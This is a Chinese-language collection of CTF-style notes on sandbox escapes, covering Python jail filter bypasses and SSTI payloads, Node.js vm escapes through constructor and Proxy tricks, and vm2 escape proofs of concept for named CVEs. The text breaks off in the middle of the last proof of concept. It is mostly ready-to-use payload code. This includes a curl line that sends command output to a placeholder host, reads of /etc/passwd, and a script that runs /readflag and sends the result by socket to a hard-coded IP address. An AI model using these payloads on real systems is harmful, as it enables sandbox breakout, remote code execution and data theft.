逃逸

记录各种逃逸的方式

1.python沙箱逃逸

介绍

在python的沙箱里面,会不允许使用一些函数,包括os等类,题目又要求我们从一个受限制的python环境里面getshell或者执行一些命令

首先是一个可以fuzz 沙箱里面过滤了什么的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
all_modules_2 = [
'BaseHTTPServer', 'imaplib', 'shelve', 'Bastion', 'anydbm', 'imghdr', 'shlex', 'CDROM', 'argparse', 'imp', 'shutil', 'CGIHTTPServer', 'array', 'importlib', 'signal', 'Canvas', 'ast', 'imputil', 'site', 'ConfigParser', 'asynchat', 'inspect', 'sitecustomize', 'Cookie', 'asyncore', 'io', 'smtpd', 'DLFCN', 'atexit', 'itertools', 'smtplib', 'Dialog', 'audiodev', 'json', 'sndhdr', 'DocXMLRPCServer', 'audioop', 'keyword', 'socket', 'FileDialog', 'base64', 'lib2to3', 'spwd', 'FixTk', 'bdb', 'linecache', 'sqlite3', 'HTMLParser', 'binascii', 'linuxaudiodev', 'sre', 'IN', 'binhex', 'locale', 'sre_compile', 'MimeWriter', 'bisect', 'logging', 'sre_constants', 'Queue', 'bsddb', 'lsb_release', 'sre_parse', 'ScrolledText', 'bz2', 'macpath', 'ssl', 'SimpleDialog', 'cPickle', 'macurl2path', 'stat', 'SimpleHTTPServer', 'cProfile', 'mailbox', 'statvfs', 'SimpleXMLRPCServer', 'cStringIO', 'mailcap', 'string', 'SocketServer', 'calendar', 'markupbase', 'stringold', 'StringIO', 'cgi', 'marshal', 'stringprep', 'TYPES', 'cgitb', 'math', 'strop', 'Tix', 'chunk', 'md5', 'struct', 'Tkconstants', 'cmath', 'mhlib', 'subprocess', 'Tkdnd', 'cmd', 'mimetools', 'sunau', 'Tkinter', 'code', 'mimetypes', 'sunaudio', 'UserDict', 'codecs', 'mimify', 'symbol', 'UserList', 'codeop', 'mmap', 'symtable', 'UserString', 'collections', 'modulefinder', 'sys', '_LWPCookieJar', 'colorsys', 'multifile', 'sysconfig', '_MozillaCookieJar', 'commands', 'multiprocessing', 'syslog', '__builtin__', 'compileall', 'mutex', 'tabnanny', '__future__', 'compiler', 'netrc', 'talloc', '_abcoll', 'contextlib', 'new', 'tarfile', '_ast', 'cookielib', 'nis', 'telnetlib', '_bisect', 'copy', 'nntplib', 'tempfile', '_bsddb', 'copy_reg', 'ntpath', 'termios', '_codecs', 'crypt', 'nturl2path', 'test', '_codecs_cn', 'csv', 'numbers', 'textwrap', '_codecs_hk', 'ctypes', 'opcode', '_codecs_iso2022', 'curses', 'operator', 'thread', '_codecs_jp', 'datetime', 'optparse', 'threading', '_codecs_kr', 'dbhash', 'os', 'time', '_codecs_tw', 'dbm', 'os2emxpath', 'timeit', '_collections', 'decimal', 'ossaudiodev', 'tkColorChooser', '_csv', 'difflib', 'parser', 'tkCommonDialog', '_ctypes', 'dircache', 'pdb', 'tkFileDialog', '_ctypes_test', 'dis', 'pickle', 'tkFont', '_curses', 'distutils', 'pickletools', 'tkMessageBox', '_curses_panel', 'doctest', 'pipes', 'tkSimpleDialog', '_elementtree', 'dumbdbm', 'pkgutil', 'toaiff', '_functools', 'dummy_thread', 'platform', 'token', '_hashlib', 'dummy_threading', 'plistlib', 'tokenize', '_heapq', 'email', 'popen2', 'trace', '_hotshot', 'encodings', 'poplib', 'traceback', '_io', 'ensurepip', 'posix', 'ttk', '_json', 'errno', 'posixfile', 'tty', '_locale', 'exceptions', 'posixpath', 'turtle', '_lsprof', 'fcntl', 'pprint', 'types', '_md5', 'filecmp', 'profile', 'unicodedata', '_multibytecodec', 'fileinput', 'pstats', 'unittest', '_multiprocessing', 'fnmatch', 'pty', 'urllib', '_osx_support', 'formatter', 'pwd', 'urllib2', '_pyio', 'fpformat', 'py_compile', 'urlparse', '_random', 'fractions', 'pyclbr', 'user', '_sha', 'ftplib', 'pydoc', 'uu', '_sha256', 'functools', 'pydoc_data', 'uuid', '_sha512', 'future_builtins', 'pyexpat', 'warnings', '_socket', 'gc', 'quopri', 'wave', '_sqlite3', 'genericpath', 'random', 'weakref', '_sre', 'getopt', 're', 'webbrowser', '_ssl', 'getpass', 'readline', 'whichdb', '_strptime', 'gettext', 'repr', 'wsgiref', '_struct', 'glob', 'resource', 'xdrlib', '_symtable', 'grp', 'rexec', 'xml', '_sysconfigdata', 'gzip', 'rfc822', 'xmllib', '_sysconfigdata_nd', 'hashlib', 'rlcompleter', 'xmlrpclib', '_testcapi', 'heapq', 'robotparser', 'xxsubtype', '_threading_local', 'hmac', 'runpy', 'zipfile', '_warnings', 'hotshot', 'sched', 'zipimport', '_weakref', 'htmlentitydefs', 'select', 'zlib', '_weakrefset', 'htmllib', 'sets', 'abc', 'httplib', 'sgmllib', 'aifc', 'ihooks', 'sha'
]

all_modules_3 = [
'AptUrl', 'hmac', 'requests_unixsocket', 'CommandNotFound', 'apport', 'hpmudext', 'resource', 'Crypto', 'apport_python_hook', 'html', 'rlcompleter', 'DistUpgrade', 'apt', 'http', 'runpy', 'HweSupportStatus', 'apt_inst', 'httplib2', 'scanext', 'LanguageSelector', 'apt_pkg', 'idna', 'sched', 'NvidiaDetector', 'aptdaemon', 'imaplib', 'secrets', 'PIL', 'aptsources', 'imghdr', 'secretstorage', 'Quirks', 'argparse', 'imp', 'select', 'UbuntuDrivers', 'array', 'importlib', 'selectors', 'UbuntuSystemService', 'asn1crypto', 'inspect', 'shelve', 'UpdateManager', 'ast', 'io', 'shlex', '__future__', 'asynchat', 'ipaddress', 'shutil', '_ast', 'asyncio', 'itertools', 'signal', '_asyncio', 'asyncore', 'janitor', 'simplejson', '_bisect', 'atexit', 'json', 'site', '_blake2', 'audioop', 'keyring', 'sitecustomize', '_bootlocale', 'base64', 'keyword', 'six', '_bz2', 'bdb', 'language_support_pkgs', 'smtpd', '_cffi_backend', 'binascii', 'launchpadlib', 'smtplib', '_codecs', 'binhex', 'linecache', 'sndhdr', '_codecs_cn', 'bisect', 'locale', 'socket', '_codecs_hk', 'brlapi', 'logging', 'socketserver', '_codecs_iso2022', 'builtins', 'louis', 'softwareproperties', '_codecs_jp', 'bz2', 'lsb_release', 'speechd', '_codecs_kr', 'cProfile', 'lzma', 'speechd_config', '_codecs_tw', 'cairo', 'macaroonbakery', 'spwd', '_collections', 'calendar', 'macpath', 'sqlite3', '_collections_abc', 'certifi', 'macurl2path', 'sre_compile', '_compat_pickle', 'cgi', 'mailbox', 'sre_constants', '_compression', 'cgitb', 'mailcap', 'sre_parse', '_crypt', 'chardet', 'mako', 'ssl', '_csv', 'chunk', 'markupsafe', 'stat', '_ctypes', 'cmath', 'marshal', 'statistics', '_ctypes_test', 'cmd', 'math', 'string', '_curses', 'code', 'mimetypes', 'stringprep', '_curses_panel', 'codecs', 'mmap', 'struct', '_datetime', 'codeop', 'modual_test', 'subprocess', '_dbm', 'collections', 'modulefinder', 'sunau', '_dbus_bindings', 'colorsys', 'multiprocessing', 'symbol', '_dbus_glib_bindings', 'compileall', 'nacl', 'symtable', '_decimal', 'concurrent', 'netrc', 'sys', '_dummy_thread', 'configparser', 'nis', 'sysconfig', '_elementtree', 'contextlib', 'nntplib', 'syslog', '_functools', 'copy', 'ntpath', 'systemd', '_gdbm', 'copyreg', 'nturl2path', 'tabnanny', '_hashlib', 'crypt', 'numbers', 'tarfile', '_heapq', 'cryptography', 'oauth', 'telnetlib', '_imp', 'csv', 'olefile', 'tempfile', '_io', 'ctypes', 'opcode', 'termios', '_json', 'cups', 'operator', 'test', '_locale', 'cupsext', 'optparse', 'textwrap', '_lsprof', 'cupshelpers', 'orca', '_lzma', 'curses', 'os', 'threading', '_markupbase', 'datetime', 'ossaudiodev', 'time', '_md5', 'dbm', 'parser', 'timeit', '_multibytecodec', 'dbus', 'pathlib', 'token', '_multiprocessing', 'deb822', 'pcardext', 'tokenize', '_opcode', 'debconf', 'pdb', 'trace', '_operator', 'debian', 'pexpect', 'traceback', '_osx_support', 'debian_bundle', 'pickle', 'tracemalloc', '_pickle', 'decimal', 'pickletools', 'tty', '_posixsubprocess', 'defer', 'pipes', 'turtle', '_pydecimal', 'difflib', 'pkg_resources', 'types', '_pyio', 'dis', 'pkgutil', 'typing', '_random', 'distro_info', 'platform', 'ufw', '_sha1', 'distro_info_test', 'plistlib', 'unicodedata', '_sha256', 'distutils', 'poplib', 'unittest', '_sha3', 'doctest', 'posix', 'urllib', '_sha512', 'dummy_threading', 'posixpath', 'urllib3', '_signal', 'email', 'pprint', 'usbcreator', '_sitebuiltins', 'encodings', 'problem_report', 'uu', '_socket', 'enum', 'profile', 'uuid', '_sqlite3', 'errno', 'pstats', 'venv', '_sre', 'faulthandler', 'pty', 'wadllib', '_ssl', 'fcntl', 'ptyprocess', 'warnings', '_stat', 'filecmp', 'pwd', 'wave', '_string', 'fileinput', 'py_compile', 'weakref', '_strptime', 'fnmatch', 'pyatspi', 'webbrowser', '_struct', 'formatter', 'pyclbr', 'wsgiref', '_symtable', 'fractions', 'pydoc', 'xdg', '_sysconfigdata_m_linux_x86_64-linux-gnu', 'ftplib', 'pydoc_data', 'xdrlib', '_testbuffer', 'functools', 'pyexpat', 'xkit', '_testcapi', 'gc', 'pygtkcompat', 'xml', '_testimportmultiple', 'genericpath', 'pymacaroons', 'xmlrpc', '_testmultiphase', 'getopt', 'pyrfc3339', 'xxlimited', '_thread', 'getpass', 'pytz', 'xxsubtype', '_threading_local', 'gettext', 'queue', 'yaml', '_tracemalloc', 'gi', 'quopri', 'zipapp', '_warnings', 'glob', 'random', 'zipfile', '_weakref', 'grp', 're', 'zipimport', '_weakrefset', 'gtweak', 'readline', 'zlib', '_yaml', 'gzip', 'reportlab', 'zope', 'abc', 'hashlib', 'reprlib', 'aifc', 'heapq'
]

methods = ['os', 'sys', '__builtins__']

results = {}
for module in all_modules_3:
results[module] = {
'flag': 0,
'result': {}
}

try:
m = __import__(module)
attrs = dir(m)
for method in methods:
if method in attrs:
result = 'yes'
results[module]['flag'] = 1
else:
result = 'no'

results[module]['result'][method] = result

except Exception as e:
print(e)

for result in results:
if results[result]['flag']:
print('[+]' + result)
for r in results[result]['result']:
print(' [-]' + r + ': ' + results[result]['result'][r]

最简单的命令

1
__import__('os').system("dir")

这里引入了os模块,执行了system命令

过滤了import

可以使用很多的方法

1
2
3
4
5
6
7
__import__或者importlib直接引入,也可以使用execfile导入
(py2)
execfile('/usr/lib/python2.7/os.py')
(py3)
with open('/usr/lib/python3.6/os.py','r') as f:
exec(f.read())
由于需要知道路径 可以使用sys去拿路径sys.path(if)

过滤了os

可以使用字符串处理调用出os

1
2
__import__('so'[::-1]).system("dir")
__import__('o'+'s').system("dir")

可以用eval和exec去逃逸

1
exec(')"imaohw"(metsys.so ;so tropmi'[::-1])

处理方法包括逆序、变量拼接、base64、hex、rot13…等等

如果os从sys.modules里面删掉了,os这下彻底没法用了

image-20231007103335899

import 一个模块时:import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A。

sys.modules['os'] 只会让 Python 重新加载一次 os

这里只要del sys.modules[‘os’]就可以重新加载os

利用内建函数__builtins__

查看最基础的内置类

image-20231007100030300

这里查看builtins类内置函数

image-20231007100140005

可以看到这里存在很多可以被我们利用的方法

1
2
直接导入
__builtins__.__import__('os').system('dir')

image-20231007103011410

也可以使用一些花的方法

通过dict访问

1
2
__builtins__.__dict__[‘import__('os')’].system('dir')
__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('ls')

调用各种函数

1
2
3
__builtins__.__dict__.__getitem__('file')('/etc/passwd').read()
__builtins__.__dict__.__getitem__('open')('/etc/passwd').read()//读文件
__builtins__.__dict__.__getitem__('eval')("__import__('os').system('ls')")

import导入其他模块

1
2
3
__builtins__.__import__('commands').getoutput('id')
__builtins__.__import__('commands').getstatusoutput('id')
__builtins__.__import__('subprocess').call(['id'],shell=True)

如果函数被干掉了

可以reload重载

如果reload被干掉了

1
2
import imp
imp.reload(__builtin__)

object方法

类似ssti,使用各种包括base函数去构造object

这里不再详谈

getattribute、decode拼接绕过关键字过滤

1
2
3
[].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('__global'+'s__')['os'].system('dir')
[].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('func_global'+'s')['os'].system('dir')
[].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('5f5f676c6f62616c735f5f'.decode('hex'))['os'].system('ls')

无[]法

1
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()

request法

无引号

1
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}    提交参数&cmd=id

无__

1
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}    提交参数&class=__class__&mro=__mro__&subclasses=__subclasses__

无回显

curl

1
2
3
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://ip:port?i=`whoami`').read()=='p' %}1{% endif %}
盲注
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/flag).read()[0:1]=='f' %}bingo{% endif %}

时间盲注

1
__builtins__.__import__( timeit).timeit("__import__('os').system('if [ $(whoami|base32|wc -c|cut -c 1) =  ];then sleep 2;fi')", number=1)

其他模块

1
2
__builtins__.__import__( timeit).timeit("__import__('os').system('ls')", number=1)
platform.popen('id', mode='r', bufsize=-1).read()

如果直接ban字符

unicode字符绕过字符替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
a ['a', 'ª', 'ᵃ', 'ₐ', 'ⓐ', 'a', '𝐚', '𝑎', '𝒂', '𝒶']
b ['b', 'ᵇ', 'ⓑ', 'b', '𝐛', '𝑏', '𝒃', '𝒷', '𝓫', '𝔟']
c ['c', 'ᶜ', 'ⅽ', 'ⓒ', 'c', '𝐜', '𝑐', '𝒄', '𝒸', '𝓬']
d ['d', 'ᵈ', 'ⅆ', 'ⅾ', 'ⓓ', 'd', '𝐝', '𝑑', '𝒅', '𝒹']
e ['e', 'ᵉ', 'ₑ', 'ℯ', 'ⅇ', 'ⓔ', 'e', '𝐞', '𝑒', '𝒆']
f ['f', 'ᶠ', 'ⓕ', 'f', '𝐟', '𝑓', '𝒇', '𝒻', '𝓯', '𝔣']
g ['g', 'ᵍ', 'ℊ', 'ⓖ', 'g', '𝐠', '𝑔', '𝒈', '𝓰', '𝔤']
h ['h', 'ʰ', 'ₕ', 'ℎ', 'ⓗ', 'h', '𝐡', '𝒉', '𝒽', '𝓱']
i ['i', 'ᵢ', 'ⁱ', 'ℹ', 'ⅈ', 'ⅰ', 'ⓘ', 'i', '𝐢', '𝑖']
j ['j', 'ʲ', 'ⅉ', 'ⓙ', 'ⱼ', 'j', '𝐣', '𝑗', '𝒋', '𝒿']
k ['k', 'ᵏ', 'ₖ', 'ⓚ', 'k', '𝐤', '𝑘', '𝒌', '𝓀', '𝓴']
l ['l', 'ˡ', 'ₗ', 'ℓ', 'ⅼ', 'ⓛ', 'l', '𝐥', '𝑙', '𝒍']
m ['m', 'ᵐ', 'ₘ', 'ⅿ', 'ⓜ', 'm', '𝐦', '𝑚', '𝒎', '𝓂']
n ['n', 'ⁿ', 'ₙ', 'ⓝ', 'n', '𝐧', '𝑛', '𝒏', '𝓃', '𝓷']
o ['o', 'º', 'ᵒ', 'ₒ', 'ℴ', 'ⓞ', 'o', '𝐨', '𝑜', '𝒐']
p ['p', 'ᵖ', 'ₚ', 'ⓟ', 'p', '𝐩', '𝑝', '𝒑', '𝓅', '𝓹']
q ['q', 'ⓠ', 'q', '𝐪', '𝑞', '𝒒', '𝓆', '𝓺', '𝔮', '𝕢']
r ['r', 'ʳ', 'ᵣ', 'ⓡ', 'r', '𝐫', '𝑟', '𝒓', '𝓇', '𝓻']
s ['s', 'ſ', 'ˢ', 'ₛ', 'ⓢ', 's', '𝐬', '𝑠', '𝒔', '𝓈']
t ['t', 'ᵗ', 'ₜ', 'ⓣ', 't', '𝐭', '𝑡', '𝒕', '𝓉', '𝓽']
u ['u', 'ᵘ', 'ᵤ', 'ⓤ', 'u', '𝐮', '𝑢', '𝒖', '𝓊', '𝓾']
v ['v', 'ᵛ', 'ᵥ', 'ⅴ', 'ⓥ', 'v', '𝐯', '𝑣', '𝒗', '𝓋']
w ['w', 'ʷ', 'ⓦ', 'w', '𝐰', '𝑤', '𝒘', '𝓌', '𝔀', '𝔴']
x ['x', 'ˣ', 'ₓ', 'ⅹ', 'ⓧ', 'x', '𝐱', '𝑥', '𝒙', '𝓍']
y ['y', 'ʸ', 'ⓨ', 'y', '𝐲', '𝑦', '𝒚', '𝓎', '𝔂', '𝔶']
z ['z', 'ᶻ', 'ⓩ', 'z', '𝐳', '𝑧', '𝒛', '𝓏', '𝔃', '𝔷']

一些其他的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
open("flag").read()
open(chr(102)+chr(108)+chr(97)+chr(103)).read()
#先输入eval(input())绕过字数限制
print(open(chr(102)+chr(108)+chr(97)+chr(103)).read())
#使用Unicode字符绕过过滤
ᵉval(inpᵘt())
#使用breakpoint()函数下断点进入Pdb,然后再输入命令
#输入help()
#再输入sys
#然后输入!cat flag获取flag
#在help()中可以输入__main__或者__dict__查看是否有信息泄露
#使用bytes([]).decode()来绕过chr的decode
open((bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode()).read()
#获取object的子类列表中倒数第四个子类的__init__方法的全局变量中名为'system'的对象
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(bytes([115])+bytes([121])+bytes([115])+bytes([116])+bytes([101])+bytes([109])).decode()]((bytes([99])+bytes([97])+bytes([116])+bytes([32])+bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode())
#如果过滤了bytes,可以用type(str(1).encode())绕过
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()]((type(str(1).encode())([108])+type(str(1).encode())([115])).decode())
#system('ls')
一些方法的type构造
str = type(str(0))
list = type(type(flag).mro())(flag)
bytes = type(flag.encode())
bool = type(flag.istitle())
int = type(flag.find(flag))
tuple = type(flag.partition(flag))
#如果+被过滤,可以使用.__add__(xxx)来绕过
#自动生成Payload的脚本:
command = "cat flag_y0u_CaNt_FiNd_mE"
mylist = []
system = "[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115]).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([115])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([101])).__add__(type(str(1).encode())([109]))).decode()]"
print(system,end='')
for i in command:
mylist.append(f"type(str(1).encode())([{ord(i)}])")
print("("+mylist.pop(0),end='')
# 删除并打印出列表的第一个元素
for item in mylist:
print(f".__add__({item})",end='')
print(")",end='')
#type被过滤了可以使用list(dict(system=114514))[0]获取system这个字符串
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[list(dict(system=1))[0]](list(dict(sh=1))[0])
#可以使用dir()函数查看类中的方法和变量名
#如果有encode方法就可以读取flag
> my_flag.flag_level5.encode()
#可以输入globals()函数查看全局变量中是否有信息泄露
#可以输入vars()函数查看全局变量中是否有信息泄露
#利用__import__()函数动态导入模块
__import__("sys").__stdout__.write(__import__("os").read(__import__("os").open("flag",__import__("os").O_RDONLY), 0x114).decode())
#__import__("sys").__stdout__.write()从sys模块中获取stdout并调用write方法讲内容输出到控制台
#__import__("os").read()从os模块中调用read方法去读取文件内容,读取文件的前0x114(276)个字节
#__import__("os").open()从os模块中调用open方法打开一个名为flag 的文件,并设置为只读模式
#利用lambda匿名函数来读取flag
(lambda:os.system('cat flag'))()
exec("for k,v in enumerate(globals()['__builtins__']): print(k,v)")
exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('cat flag')")

祖传脚本

1
2
3
4
5
6
7
8
9
10
import requests, base64
u = '𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫'
payload = b"""__import__('os').popen("python -c 'import socket, os; flag = os.popen(\\"/readflag\\").read().encode();host = \\"101.42.39.110\\";port=666;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((host,port));s.sendall(flag);s.close();a=1;'").read()"""
payload = str(base64.b64encode(payload)).strip('b').strip("'") +"="
print(payload)
CMD = "ᵉval(vars(ᵉval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b1_1b_a_s_e_6_4=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict({}()))[len([])]))".format(payload)
CMD = CMD.translate({ord(str(i)): u[i] for i in range(10)})
r = requests.post("http://139.196.153.118:30503/", data={"cmd":
base64.b64encode(CMD.encode())}).text
print(r)

2.vm沙箱逃逸

0.介绍

在代码里面,有的时候会直接调用eval等函数,对于这些函数,无法屏蔽上下文环境的攻击,但是nodejs提供了一个函数叫做vm函数,与eval/Function 最大的区别就是可自定义上下文,也就是可以控制被执行代码的访问资源。vm创造了一个沙盒的环境。

1.js的作用域

如果有两个包1.js和2.js两个包

在包1里面是不能直接调用包2的

但是可以通过好多方式,比如require取取出来

或者设置一个exports

1
2
var age = 20
exports.age = age

或者global对象

服务端的Nodejs中和window类似的全局对象叫做global,Nodejs下其他的所有属性和包都挂载在这个global对象下。在global下挂载了一些全局变量,我们在访问这些全局变量时不需要用global.xxx的方式来访问,直接用xxx就可以调用这个变量。举个例子,console就是挂载在global下的一个全局变量,我们在用console.log输出时并不需要写成global.console.log,其他常见全局变量还有process

全局命名空间

全局命名空间是指在JavaScript中,所有全局对象(如windowglobalThisglobal对象)都有一个共同的全局命名空间。在这个命名空间中,所有的全局变量、函数、类等都是可见的,无需使用varletconst声明。

全局命名空间在JavaScript中是非常重要的,因为它提供了全局对象的访问和操作能力。例如,window对象包含了所有的全局属性,如documentconsolesetTimeout等。全局命名空间也是JavaScript模块系统的基础,它允许你使用importexport关键字来导入和导出模块中的对象和函数。

全局命名空间在虚拟机环境中也是类似的,它同样包含了所有的全局对象,如globalThisglobal对象等。因此,在虚拟机环境中执行的代码可以访问到全局命名空间中的全局对象,并执行相应的操作。

这给我们逃逸提供了基础

2.eval/Function与vm

1
2
3
4
5
var a=1
console.log(a)
var command = "var a=2";
eval(command);
console.log(a)

这里可以使用eval,改变外面的变量的值

image-20231008211031684

这里的eval函数在使用的时候,能直接影响上下文

如果我们建立一个沙箱环境

1
2
3
4
5
6
7
8
const vm = require("vm");
var x = 1;
console.log(x);
var context = {}
vm.createContext(context);
var cmd = "x = 2";
vm.runInContext(cmd, context);
console.log(x);

image-20231010194607272

可以看到,使用vm之后,可以使用context自定义上下文对象,也就是建立了一个沙箱环境,沙箱内的环境对外面的函数没有任何的影响,只有将a添加到环境里面的时候,才能读取

只能读取设置环境,不能修改

3.vm函数

沙箱的本质是创建一个作用域,将接受的函数作为参数执行

以下是一些参数

1
2
3
4
5
6
7
8
9
10
11
12
13
vm.runinThisContext(code):在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。sandbox中可以访问到global中的属性,但无法访问其他包中的属性。

vm.createContext([sandbox]): 在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。

vm.runInContext(code, contextifiedSandbox[, options]):参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同。

vm.runInNewContext(code[, sandbox][, options]): creatContext和runInContext的结合版,传入要执行的代码和沙箱对象。

vm.Script类 vm.Script类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行。

new vm.Script(code, options):创建一个新的vm.Script对象只编译代码但不会执行它。编译过的vm.Script此后可以被多次执行。值得注意的是,code是不绑定于任何全局对象的,相反,它仅仅绑定于每次执行它的对象。

code:要被解析的JavaScript代码

4.开始逃逸

vm 模块不是安全的机制。 不要使用它来运行不受信任的代码。

例子

1
2
3
4
const vm = require("vm");
const abc={}
const y1 = vm.runInNewContext(`this.constructor.constructor('return process')()`,abc);
console.log(y1.mainModule.require('child_process').execSync('calc').toString());

这里使用runInNewContext建立了一个沙箱,但是我们通过this.constructor.constructor('return process')()在虚拟机环境中创建了一个全局对象,该对象具有对全局命名空间的引用。然后,代码使用y1.mainModule.require('child_process').execSync('calc')来执行child_process.execSync('calc')。这里就已经逃逸出了vm沙箱

这里通过this.constructor.constructor('return process')()来向上寻找父类,将自己构造成了process类

1
2
this.constructor是object
object.function是function

5.限制原型链子是null

原来那样逃逸就寄了

image-20231010220953895

原因简单,尝试寻找父类的时候寄了

由于 JS 里所有对象的原型链都会指向 Object.prototype,且 Object.prototype 和 Function 之间是相互指向的,所有对象通过原型链都能拿到 Function

成员类执行

这样是可以执行

1
2
3
4
5
const vm = require("vm");
const abc=Object.create(null);
abc.data={}
const y1 = vm.runInNewContext(`this.data.constructor.constructor('return process')()`,abc);
console.log(y1.mainModule.require('child_process').execSync('calc').toString());

可以执行

这里虽然限制了环境是Object.create(null);,如果直接使用constructor获得他的构造器,会返回一个空值

但是我们对他的成员类去返还构造器,就能得到object,从而完成逃逸

image-20231012092952410

tostring重写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const vm = require('vm');
const script =
`(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a
})()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

这里我们写了一个函数,同时重写了tostring方法,输出的时候,通过arguments.callee.caller获得正在运行的函数,然后获得构造器,成功构造全局变量,rce成功

Proxy劫持属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const vm = require("vm");

const script =
`
(() =>{
const a = new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
return a
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc)

我们定义了一个get函数,取用类里面对象的时候就会执行

proxy报错回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const vm = require("vm");
const script =
`
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
`;
try {
vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
console.log("error:" + e)
}

这里直接调用了null,会报错,但是会在报错的时候,用catch捕获到了throw出的proxy对象,将相关的报错和rce结构都返回了。

3.vm2逃逸

我又来啦 嗨嗨嗨

前言

vm实在是太差了,所以第三方包vm2来了

vm2相比vm做出很大的改进,其中之一就是利用了es6新增的proxy特性,从而使用钩子拦截对constructor和__proto__这些属性的访问。

这里主要还是一些cve之类的

通过超过RangeError的最大调用堆栈大小CVE-2019-10761

要求version <3.6.11

在沙箱外的对象中触发一个异常,并在沙箱内捕捉错误e,这样就可以获得一个外部异常e,再利用这个异常e的constructor获得Function从而获取process对象执行代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
const f = Buffer.prototype.write;
const ft = {
length: 10,
utf8Write(){

}
}
function r(i){
var x = 0;
try{
x = r(i);
}catch(e){}
if(typeof(x)!=='number')
return x;
if(x!==i)
return x+1;
try{
f.call(ft);
}catch(e){
return e;
}
return null;
}
var i=1;
while(1){
try{
i=r(i).constructor.constructor("return process")();
break;
}catch(x){
i++;
}
}
i.mainModule.require("child_process").execSync("whoami").toString()

CVE-2021-23449

version<3.9.5

import逃逸

import()在JavaScript中是一个语法结构,不是函数,所以我们能可以通过这样的方法直接调用构造器获得一个外部的变量

1
2
let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();

has方法未代理导致绕过

首先在沙箱中自己定义了Object.prototype.has方法,在该方法里面通过获取t变量(也就是主键)的构造器,然后再返回process对象

第二个部分就是,通过 “” in Buffer.from 来触发has方法来实现返回process对象

1
2
3
4
5
6
7
8
9
10
11
12
const {VM} = require('vm2');
const untrusted = `var process;
Object.prototype.has=(t,k)=>{
process = t.constructor("return process")();
}
"" in Buffer.from;
process.mainModule.require("child_process").execSync("whoami").toString()`
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

获取host.Function逃逸执行rce

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var process;
try {
let a = Buffer.from("")
Object.defineProperty(a, "", {
get set() {
Object.defineProperty(Object.prototype, "get", {
get: function get() {
throw function (x) {
return x.constructor("return process")();
};
}
});
return ()=>{};
}

});
} catch (e) {
process = e(() => {});
}

劫持通过劫持Symbol对象的getter

1
2
3
4
5
6
7
8
9
10
11
Symbol = {
get toStringTag(){
throw f=>f.constructor("return process")()
}
};
try{
Buffer.from(new Map());
